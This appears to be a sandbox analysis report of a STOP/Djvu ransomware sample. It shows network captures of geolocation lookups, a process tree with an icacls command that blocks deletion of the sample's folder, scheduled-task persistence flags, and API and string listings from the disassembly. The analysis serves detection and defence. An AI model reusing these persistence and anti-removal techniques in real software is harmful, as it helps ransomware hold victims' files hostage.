2024-10-27 17:31:17 UTC	1078	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 17:31:17 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N7rVW9OSLQUNzeWVRqcSyK0zdejKzbIaiSrT4G7uBTnH4jR66kLrUiHpaCoDFfpeRK%2F2EWQ4JOXtd%2BQlf4L4HwNsVCS8%2BU0a3ZuflCAG8%2BQvyg8gdwz0s7fs0a1j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d946b39bc4f3ad0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1311&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2808&recv_bytes=723&delivery_rate=2115412&cwnd=87&unsent_bytes=0&cid=83b2f8e00dae70e0&ts=503&x=0"
2024-10-27 17:31:17 UTC	291	IN	Data Raw: 31 36 66 0d 0a 7b 22 69 70 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 54 65 78 61 73 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c Data Ascii: 16f{"ip":"173.254.250.90","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Texas","region_rus":"\u0422\u0435\u0445\u0430\u0441","region_ua":"\u0422\u0435\u0445\u0430\
2024-10-27 17:31:17 UTC	83	IN	Data Raw: 75 30 34 31 34 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 62 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 33 32 2e 38 31 34 39 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 39 36 2e 38 37 39 32 22 7d 0d 0a Data Ascii: u0414\u0430\u043b\u043b\u0430\u0441","latitude":"32.8149","longitude":"-96.8792"}
2024-10-27 17:31:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	188.114.96.3	443	3736	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 17:31:25 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-10-27 17:31:26 UTC	1075	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 17:31:26 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xvyD7lCxfYfyQ3IDUDibEA0kc4gmLT2MHcseJMX6uq7naLMx86rYHnMHHdIen787a44MZpnhPTjtSEBXeP2T5OAlIKR9GA8UuvIFCIy%2FlK2V%2FkHHoYEe7QWDCMn6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d946b6d49b82e24-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2187&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2808&recv_bytes=723&delivery_rate=1293434&cwnd=251&unsent_bytes=0&cid=f859e03b135cbac3&ts=513&x=0"
2024-10-27 17:31:26 UTC	294	IN	Data Raw: 31 36 66 0d 0a 7b 22 69 70 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 54 65 78 61 73 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 32 5c 75 30 34 33 35 5c 75 30 34 34 35 5c 75 30 34 33 30 5c Data Ascii: 16f{"ip":"173.254.250.90","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Texas","region_rus":"\u0422\u0435\u0445\u0430\u0441","region_ua":"\u0422\u0435\u0445\u0430\
2024-10-27 17:31:26 UTC	80	IN	Data Raw: 31 34 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 62 5c 75 30 34 33 30 5c 75 30 34 34 31 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 22 33 32 2e 38 31 34 39 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 22 2d 39 36 2e 38 37 39 32 22 7d 0d 0a Data Ascii: 14\u0430\u043b\u043b\u0430\u0441","latitude":"32.8149","longitude":"-96.8792"}
2024-10-27 17:31:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:31:02
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\f6ffg1sZS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\f6ffg1sZS2.exe"
Imagebase:	0x780000
File size:	1'153'632 bytes
MD5 hash:	37118CEF94032F930D9ED40FA37144FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000000.1691522729.000000000084C000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000000.1691522729.000000000084C000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000000.1691452166.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000003.1705992620.0000000003291000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000003.1705992620.0000000003291000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:31:04
Start date:	27/10/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x80000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:31:05
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\f6ffg1sZS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\f6ffg1sZS2.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x780000
File size:	1'153'632 bytes
MD5 hash:	37118CEF94032F930D9ED40FA37144FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000000.1714906158.000000000084C000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000000.1714906158.000000000084C000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000000.1714698874.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:31:05
Start date:	27/10/2024
Path:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe --Task
Imagebase:	0xf60000
File size:	1'153'632 bytes
MD5 hash:	37118CEF94032F930D9ED40FA37144FE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000000.1718049214.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000000.1718049214.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000000.1717930975.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, Author: ditekSHen
Antivirus matches:	Detection: 82%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	13:31:15
Start date:	27/10/2024
Path:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart
Imagebase:	0xf60000
File size:	1'153'632 bytes
MD5 hash:	37118CEF94032F930D9ED40FA37144FE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.1838282354.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.1838282354.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.1838199211.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000000.1824028423.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000000.1824109990.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000000.1824109990.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:31:24
Start date:	27/10/2024
Path:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart
Imagebase:	0xf60000
File size:	1'153'632 bytes
MD5 hash:	37118CEF94032F930D9ED40FA37144FE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000002.1924959138.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.1924959138.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000002.1924565660.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000000.1904985502.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000008.00000000.1905060478.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000008.00000000.1905060478.000000000102C000.00000002.00000001.01000000.00000007.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37.4%
Total number of Nodes:	805
Total number of Limit Nodes:	92

Executed Functions

Function 00799F90 Relevance: 167.8, APIs: 65, Strings: 30, Instructions: 1565COMMON

Download Yara Rule

APIs

Part of subcall function 0078CF10: _memset.LIBCMT ref: 0078CF4A
Part of subcall function 0078CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0078CF5F
Part of subcall function 0078CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0078CFA6

GetCurrentProcess.KERNEL32 ref: 00799FC4
GetLastError.KERNEL32 ref: 00799FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00799FDA
GetLastError.KERNEL32 ref: 00799FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,005E3180,?), ref: 0079A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0079A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0079A161

Part of subcall function 007924E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 007924FE
Part of subcall function 007924E0: GetLastError.KERNEL32 ref: 00792509
Part of subcall function 007924E0: CloseHandle.KERNEL32 ref: 0079251C

Strings

--Task, xrefs: 0079A2CD
C:\Program Files\Google\, xrefs: 0079AFB9
--AutoStart, xrefs: 0079A2EC
%username%, xrefs: 0079B283
D:\Program Files\Mozilla Firefox\, xrefs: 0079B0A8
I:\5d2860c89d774.jpg, xrefs: 0079B32F
D:\Program Files\Internet Explorer\, xrefs: 0079B0CB
C:\Windows\, xrefs: 0079AE0F
D:\Program Files\Google\, xrefs: 0079B0EE
C:\Program Files\Mozilla Firefox\, xrefs: 0079AF2D
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0079A8A0
--ForNetRes, xrefs: 0079A22E
--Service, xrefs: 0079A30B
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0079B02E
D:\Program Files (x86)\Internet Explorer\, xrefs: 0079B062
C:\Program Files (x86)\Internet Explorer\, xrefs: 0079AEA1
D:\Program Files (x86)\Google\, xrefs: 0079B085
F:\, xrefs: 0079B397
D:\Windows\, xrefs: 0079AFF3
C:\Program Files\Internet Explorer\, xrefs: 0079AF73
IsAutoStart, xrefs: 0079A1D0, 0079A273
IsTask, xrefs: 0079A1EE, 0079A299
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0079A8B6
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0079AE5B
<, xrefs: 0079A67B
list<T> too long, xrefs: 0079B669, 0079B673
IsNotTask, xrefs: 0079A654
C:\Program Files (x86)\Google\, xrefs: 0079AEE7
--Admin, xrefs: 0079A1B4, 0079A632
IsNotAutoStart, xrefs: 0079A645

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$list<T> too long${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2957410896-1224459563
Opcode ID: 79bd0422eb040c1460e7db3911a59450e2047c8257c6d83f3e82fdfee78cd0a1
Instruction ID: d0f5687b300a3f35cc797bc376149cba170342073f80102ff2f6eac6f34b9812
Opcode Fuzzy Hash: 79bd0422eb040c1460e7db3911a59450e2047c8257c6d83f3e82fdfee78cd0a1
Instruction Fuzzy Hash: C0D2B270508341EBDF14EF64E85AB9B77E5FF85304F00092DF48587292EB79AA09CB92

Function 0078D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0078D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0078D28F
CoCreateInstance.OLE32(0085506C,00000000,00000001,00854FEC,?,?,00000000,000000FF), ref: 0078D2D5
VariantInit.OLEAUT32(?), ref: 0078D2F0
VariantInit.OLEAUT32(?), ref: 0078D309
VariantInit.OLEAUT32(?), ref: 0078D322
VariantInit.OLEAUT32(?), ref: 0078D33B
VariantClear.OLEAUT32(?), ref: 0078D397
VariantClear.OLEAUT32(?), ref: 0078D3A4
VariantClear.OLEAUT32(?), ref: 0078D3B1
VariantClear.OLEAUT32(?), ref: 0078D3C2
CoUninitialize.OLE32 ref: 0078D3D5

Strings

--Task, xrefs: 0078D8DD
Time Trigger Task, xrefs: 0078D43C, 0078D973
2030-05-02T08:00:00, xrefs: 0078D737
PT5M, xrefs: 0078D5A1, 0078D66C
%Y-%m-%dT%H:%M:%S, xrefs: 0078D790
RegisterTaskDefinition. Err: %X, xrefs: 0078DA11
Author Name, xrefs: 0078D4C8
Trigger1, xrefs: 0078D6FA

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 7af4adef74ff88a36aef915ff394393beab98a7b3f19eb959dc7418e79e5a5bb
Instruction ID: 9681afe9a9a844ea925b66ead30e777d190ac0ff9528daaf08fb03bba7481d83
Opcode Fuzzy Hash: 7af4adef74ff88a36aef915ff394393beab98a7b3f19eb959dc7418e79e5a5bb
Instruction Fuzzy Hash: DC52B470E40219DFDB50EFA4C848FAEBBB5FF49704F148198E405AB291EB78AD45CB91

Function 00792220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00792235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00792240
PathFindFileNameW.SHLWAPI(00000000), ref: 00792248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00792256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0079226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00792275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00792280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00792291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0079229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 007922AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 007922B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 007922CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 007922FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00792315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0079232C
CloseHandle.KERNEL32(00000000), ref: 00792347

Strings

EnumProcessModules, xrefs: 0079226C, 007922A1
EnumProcesses, xrefs: 00792264, 00792299
GetModuleBaseNameW, xrefs: 00792277, 007922AC
kernel32.dll, xrefs: 0079224E
Psapi.dll, xrefs: 0079228C

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: dc42179d7fe9709b25c71caa4d2c53ff1f6cec6141ccc6931f3186839d2d38e1
Instruction ID: 85012f3257c49d9490f8e228341372236ec44547ec3414648ee701f426a84eaa
Opcode Fuzzy Hash: dc42179d7fe9709b25c71caa4d2c53ff1f6cec6141ccc6931f3186839d2d38e1
Instruction Fuzzy Hash: 76311071E01219BBDF10AFE59C45EAEB7BCFF45704F014069E514E2250EA789A05CFA5

Function 0078CF10 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0078CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0078CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0078CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0078CFCD
InternetCloseHandle.WININET(00000000), ref: 0078CFDA
InternetCloseHandle.WININET(00000000), ref: 0078CFDD

Strings

Microsoft Internet Explorer, xrefs: 0078CF5A
, xrefs: 0078D13B
"country_code":", xrefs: 0078CFE1
$, xrefs: 0078D142
https://api.2ip.ua/geo.json, xrefs: 0078CF79
(, xrefs: 0078D149

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
